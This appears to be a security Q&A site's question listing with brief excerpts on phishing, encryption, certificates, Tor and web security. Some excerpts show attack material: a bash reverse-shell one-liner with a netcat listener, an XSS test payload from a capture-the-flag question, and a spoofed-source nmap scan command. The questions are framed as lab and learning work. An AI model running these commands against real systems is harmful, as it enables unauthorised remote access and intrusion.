All Questions

Filter by
Sorted by
Tagged with
0
votes
0answers
85 views

How safe are pirated pdf ebooks? [closed]

[Please don't educate me on the ethical side of things :) we all do this once in a while, even university professors do this once in a while.] I've a pirated ebook and the legally obtained version of ...
0
votes
1answer
109 views

Is this is phishing attempt?

I received an email, purporting to be from Microsoft Account as a Security Alert. The address looks legit (account-security-noreply@accountprotection.microsoft.com) but the problem is, the email ...
0
votes
1answer
63 views

Is it fine to save contact information on a ssh sever and is it secure?

My mom wants to find a way to store information securely and host it remotely and wants to host our own mini-server on a Raspberry Pi that'll have contact information of the customers. My sister said ...
0
votes
1answer
54 views

Does copying cookies allow attackers to view pages that should be visible only after login?

TLDR; Copying the request from ChromeDevTools along with all cookies allows me to view pages that I should not be able to view after logging in. Have I been pwned ? I just found a terrifyingly easy ...
0
votes
1answer
82 views

Real-world application of network steganography

I recently came across a topic of network steganography, mostly connected with modifying the headers of IP, TCP, ICMP. I was looking for some real-world examples of malware that uses it. I only found ...
0
votes
0answers
7 views

Nmap Spoofing NSOCK ERROR [migrated]

I've recently tried out the following nmap command on my Kali Linux virtual machine with Nmap 7.91, nmap -sS -e eth0 -S 12.12.12.12 192.168.0.102 I was trying to perform a SYN scan with a spoofed IP ...
0
votes
1answer
70 views

Is it possible to bypass this csp?

Today I created a web application. I'm using this csp to avoid xss attacks. CSP: Content-Security-Policy", `child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src '...
0
votes
0answers
36 views

Is there any regex repository available for secure code review of swift language? [closed]

I want to do a secure code review for an app written in SWIFT. I am looking for some documentation, guidelines and regex pattern repository available.
0
votes
0answers
9 views

Windows 10: How to change Loopback's NetworkCategory from Public to Private? [migrated]

On my Windows 10 laptop, I have 2 interfaces: PS C:\WINDOWS\system32> Get-NetConnectionProfile Name : Unidentified network InterfaceAlias : Loopback InterfaceIndex : 16 ...
-1
votes
0answers
45 views

Is Kinemaster modded with Luckypatcher safe? [closed]

Is Kinemaster app modded using Luckypatcher safe to use in android device ?
0
votes
0answers
13 views

Lost keys after formatting Mac HD [migrated]

I lost my private keys after formatting my Mac and reinstalling my OS. I only have the public keys and the passphrase. What can I do?
0
votes
1answer
42 views

converting just a public key from PEM to DER using openssl

There are plenty of instructions for converting PEM certificates to DER which also pop up when looking for ways to convert public keys. These are among the options offered: openssl x509 -in cert.pem -...
-1
votes
0answers
28 views

HTTP email links [closed]

Some emails that I receive have links that "route" through HTTP. I think that usually these links resolve with HTTPS "final" destinations. The emails that I speak of are from ...
0
votes
0answers
43 views

Why I am banned only on Desktop site on a website? [closed]

I was trying a automation program on Omegle, but they have banned me. I am not able to access them with my laptop. But the site still works perfectly on my phone. What exactly are they banning?
0
votes
1answer
48 views

openssl csr generation with basicConstraint=CA:False

I would like to know how to use the -extensions parameter of openssl req command to generate a csr with basicConstraint=CA:False, Please not i do not want to use a ssl configuration file but to ...
0
votes
0answers
16 views

Port trigger - How to set up [migrated]

What is best security wise, port forward or port trigger? What ports shall I put in "Port target" and "Port trigger"? CSGO uses, for example, 27000-27031 UDP, so does it open up ...
0
votes
0answers
60 views

Can ISP or anyone else see any data about file that I'm downloading over Tor (JS disabled)? [closed]

Does anyone have any (even the smallest) chunk of information on what I'm downloading, or do they know that I'm downloading something if I use Tor and disable javascript globally?
1
vote
1answer
64 views

Questionable email from discord [duplicate]

I got a gmail from discord saying a new account had been registered and prompting me to click a verification link. Weirdly, I never made that account, and I already had a discord account under my ...
0
votes
1answer
49 views

Upgrading a reverse shell with stty raw -echo doesn't work

I successfully got a reverse shell: nc -lnvp 8000 # in Kali /bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine I tried to upgrade it in the standard way: python -c '...
-1
votes
1answer
62 views

How exactly is RSA used in SSH [duplicate]

I can find oodles of websites that tell me the server retains the public key and the client retains the private key. But nothing on how the client authenticates to the server and - perhaps - how the ...
0
votes
0answers
33 views

Understanding OpenMP API and OpenMPI [closed]

John the Ripper 1.9.0-jumbo-1 OMP [linux-gnu 64-bit x86_64 AVX2 AC] John the Ripper 1.9.0-jumbo-1 MPI + OMP [linux-gnu 64-bit x86_64 AVX AC] Can someone please put in simple terms what OMP, MPI are ...
0
votes
0answers
38 views

RDP with Kali through pivoting [closed]

I'm creating a little sandbox environment for me to play around with using VirtualBox. I am using the latest Kali machine as the 'attacker'. Right now, I have a Ubuntu machine (20.04.1) that is ...
0
votes
0answers
47 views

How is PlayStation (4/5) protected from disk-copying piracy?

It just doesn't make any sense to me. Any owner of a original PS game disk has full access to it, so it shouldn't be a problem to create an identical disk, isn't it? And PS won't be able to tell apart ...
-1
votes
0answers
96 views

Is this .bat a virus? [closed]

Is this Easy anticheat Editor.bat file a virus?? IT changes the EAC background image for games. @echo off chcp 65001 > nul title EAC-E color B mode con:cols=78 lines=29 cls echo ███████...
0
votes
1answer
54 views

How to correctly convert a bit key to string for aes 256 encrytion?

I am using CryptoJS AES 256 encryption: CryptoJS.AES.encrypt(string, secret); The secret is generated through: function generateKey(str) { const salt = CryptoJS.lib.WordArray.random(128 / 8); ...
0
votes
0answers
36 views

How risky it is if a server allows client Javascript access to say an access token in header?

After authenticated by Google, a client browser attaches the idToken from Google to an application API server. Assuming google-auth-library auto-refresh an expired token, it now needs to send it back ...
0
votes
1answer
78 views

How to update certificates/CRL on Windows 7 systems that are without support contracts?

A quality answer to this question mentions: "System is regularly updated with latest patch specifically certificate/CRL from trusted source such as Microsoft." How does one update ...
0
votes
1answer
74 views

Do I need to create SSL for HTTPs over a local network?

I have a server that is accessed only via local network in my VPS, as it is local it does not have a domain, it is accessed only via IP (ex.: http://localhost/routine.php). This server will only be ...
0
votes
0answers
53 views

Windows firewall and ports [closed]

I have some questions regarding Windows Firewall and Ports How do I best close ports in Windows? With the Outbound/Inbound firewall rules? Deleting a rule is that the same as if is not activated? Or ...
0
votes
1answer
47 views

Decrypt Soap xml encryptedKey session key using AES-128/PKCS-1#rsaes-kem-kdf2-kw-aes128

I'm familiar with cryptography and I have basic knowledge about how encryption algorithms work such as RSA, AES and so on. I have an XML response encrypted with both AES and RSA. I tried using OpenSSL ...
0
votes
1answer
47 views

Should I be concerned about timing attacks on HTTP service for passwordless signin?

I have an service that accepts an HTTP POST request from the end-user's browser. The user passes their only email. I intend the server to generate a token and store this in a database, and email them ...
1
vote
2answers
67 views

How to make SaaS application accessible only on intranet?

We are a SaaS-based product but one of the client requirement is to make our application accessible only on their intranet. Is that even possible?
0
votes
1answer
57 views

What is the workflow from client to server for SSL enabled sites?

I have a basic question on workflow of SSL enabled sites from client browser to server. My understanding is when the browser has to access some https enabled site, the browser contacts some CAs. I am ...
0
votes
1answer
83 views

Forging message using the secret key in digital signature?

In Digital Signature Scheme, is it possible to forge a message just by knowing the secret key, or does the attacker should also know the hash function used by the original sender? Also does the secret-...
5
votes
1answer
165 views

Let's Encrypt certificate lifetime incident: is there any security risk?

A few days ago, Let's Encrypt discovered that they misinterpreted RFC 5280, thus making every certificate they issued valid for one second longer than expected. The associated issue on Mozilla bug ...
0
votes
1answer
90 views

If a file is digitally signed, is posting a hash very useful for security purposes?

In this question I asked about how to handle situations when SHA-256 hashes are not available for a file downloaded from the internet that contains executable code. Another community member ...
0
votes
1answer
43 views

Making already hashed wordlists of all possible combinations [duplicate]

Let us imagine a situation where a company stores its user passwords (let's ignore salts, etc for now) using some hash (say sha256) and the company gets breached. All of the username and password ...
0
votes
0answers
50 views

How exactly is U2F more secure than OTP? [duplicate]

I've been trying to understand U2F and still don't see why it's more secure than ordinary OTP in some instances. For example if I log into a website with a password and an OTP generated by Google ...
0
votes
1answer
83 views

Does End-To-End-Encryption in Web Applications require trust?

In a talk from Moxie Marlinspike he mentioned that Signal does not intend to release a web application because they are impossible to audit. The javascript code is retrieved on each page load, so it ...
1
vote
2answers
73 views

Is it insecure for the user to know the process id of a background script on my web server?

I was experiencing an issue on one of my webpages, where an AJAX call is made to another script on the server to generate some files for download. Depending on things like server load, number of files ...
4
votes
4answers
185 views

Is it good practice to disable firewall rules for vulnerability scanners?

I've been asked to ensure that our vulnerability scanning tools (like Qualys, Nexpose) are able to reach all of our AWS EC2 instances, on all ports and protocols. Today they are limited by the current ...
1
vote
0answers
56 views

When file hash not available, how to best check authenticity of a file?

Normally, The Document Foundation (TDF) publishes the SHA-256 and SHA-1 hashes, along with the MD5 checksum, for all LibreOffice releases. For example, see this. However, for their current release (...
0
votes
1answer
60 views

How do I bypass a regex filter that filters all html to avoid xss?

How do I bypass a regex filter that filters all html to avoid xss? I've tried using things like <img src="aa" onerror="alert(1)"> but still no luck. This is for a CTF ...
0
votes
1answer
71 views

how much security measure information is safe to publicize?

I am working on writing the privacy policy of a web-app I programmed. I want to tell users about the security measures I have in place (e.g. sha512, variable-length unique salts, and more) but am ...
0
votes
1answer
47 views

Block many wrong requests via PHP

I have an API that requires a security token to run. Is it possible to use Fail2Ban or ModEvasive to block access from IPs that often try to access the API with an incorrect token? I use PHP to ...
0
votes
1answer
35 views

How strict should I be in rejecting unexpected HTTP request parameters redux?

I read this: How strict should I be in rejecting unexpected query parameters? Answer: No, do not error out on unexpected query string parameters. But I just got a requirement from our security guy ...
0
votes
2answers
34 views

Is Output Neutralization required when logging C# exception messages to log files?

CWE-117 is the common weakness enumeration for improper output neutralization in logs. My company uses VeraCode to scan for security weaknesses. Veracode indicated that this code had a output ...
0
votes
1answer
74 views

Are there any existing JTAG (hardware debugging) based malware detection systems, and if not, why?

JTAG System software debug support is for many software developers the main reason to be interested in JTAG. Many silicon architectures such as PowerPC, MIPS, ARM, x86 built an entire software debug, ...
1
vote
2answers
80 views

Browser fingerprint is unique while running a VM of a clean install of Windows 10

So I used Qemu on Ubuntu 20 to emulate a computer running windows 10. I kept all of Qemu default values. Then, while installing the Windows 10 iso, I kept all the default values once again. Finally, I ...
0
votes
1answer
56 views

Remove all traces of files used in Veracrypt container… is this enough?

Suppose that I have a Veracrypt container on Windows 10. I unlock it, open and edit a Text document, open an image, watch a video. Then I close all files, unmount the container. Then I run CCleaner to ...

15 30 50 per page